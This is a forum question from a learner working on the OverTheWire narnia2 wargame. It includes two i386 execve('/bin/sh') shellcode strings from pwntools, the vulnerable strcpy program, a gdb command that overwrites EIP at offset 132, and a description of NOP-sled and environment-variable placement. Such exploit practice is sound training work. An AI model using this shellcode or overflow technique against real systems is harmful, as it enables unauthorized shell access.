I followed a guide to do narnia2 of overthewire and the shellcode generated by them was:
h\x01\x01\x01\x01\x814$ri\x01\x011\xd2Rj\x04Z\x01\xe2R\x89\xe2jhh///sh/binj\x0bX\x89\xe3\x89\xd1\x99\xcd\x80
wheras mine is:
jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80
They seem to be the same, but mine is in a different order than theirs.
Why is this? My code worked on a previous challenge, but on the current one won't work, but theirs will.
Both payloads seem to be generated using:
asm(shellcraft.i386.linux.sh())
The program being exploited is:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char * argv[]){
char buf[128];
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}
and so far I have ran:
run $(python -c "print 'A'*132 + '\xef\xbe\xad\xde’”)
which gives me 0xdeadbeef at eip - so I can see I'm hitting the right place. I then either replace the 'A's with nops and at ~132 - 44 I stick my payload, and then replace the return address with an address midway through the nop sled. Or, I export an env variable containing the sled and shellcode - and then replace the eip with an address in that ( found using found using x/500s $sp
).
Both versions work using their payload, but neither work with mine. I just get a different eip when I use my shellcode ( I'm guessing that means the eip redirected and the eip shown now is just the new eip after the shellcode executed? )